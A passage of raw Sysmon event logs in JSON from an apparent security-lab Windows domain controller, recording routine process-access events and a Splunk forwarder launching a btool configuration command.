C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3286,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3287,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3288,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3289,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.416\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.416","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3290,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.416\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010E31A0500}\r\nTargetProcessId: 3472\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.416","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010E31A0500}","TargetProcessId":"3472","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3291,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.650\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010E31A0500}\r\nSourceProcessId: 3472\r\nSourceThreadId: 3468\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.650","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010E31A0500}","SourceProcessId":"3472","SourceThreadId":"3468","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e675|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+116e1a6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f344c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+f2a91|C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE+19fdb50|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3292,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.693\r\nProcessGuid: {90617006-407B-5F2D-0000-00109B1D0500}\r\nProcessId: 3544\r\nImage: C:\\Windows\\System32\\cmd.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Windows Command Processor\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: Cmd.Exe\r\nCommandLine: C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A\r\nParentProcessGuid: {90617006-407B-5F2D-0000-001033180500}\r\nParentProcessId: 2932\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.693","ProcessGuid":"{90617006-407B-5F2D-0000-00109B1D0500}","Image":"C:\\Windows\\System32\\cmd.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Windows Command Processor","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"Cmd.Exe","CommandLine":"C:\\Windows\\system32\\cmd.exe /c btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=F4F684066175B77E0C3A000549D2922C,SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2,IMPHASH=3062ED732D4B25D1C64F084DAC97D37A","ParentProcessGuid":"{90617006-407B-5F2D-0000-001033180500}","ParentProcessId":"2932","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\" _internal_extra_splunkd_service_args","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:27","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3293,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:27.682\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001033180500}\r\nSourceProcessId: 2932\r\nSourceThreadId: 2604\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-00109B1D0500}\r\nTargetProcessId: 3544\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+14738|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d1d8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:27.682","SourceProcessGUID":"{90617006-407B-5F2D-0000-001033180500}","SourceProcessId":"2932","SourceThreadId":"2604","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-00109B1D0500}","TargetProcessId":"3544","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\System32\\ucrtbase.dll+9ea4a|C:\\Windows\\System32\\ucrtbase.dll+9e42e|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+43bc6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+6665|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+14738|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+d1d8|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+1adfc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk.exe+4cf68|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:28","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 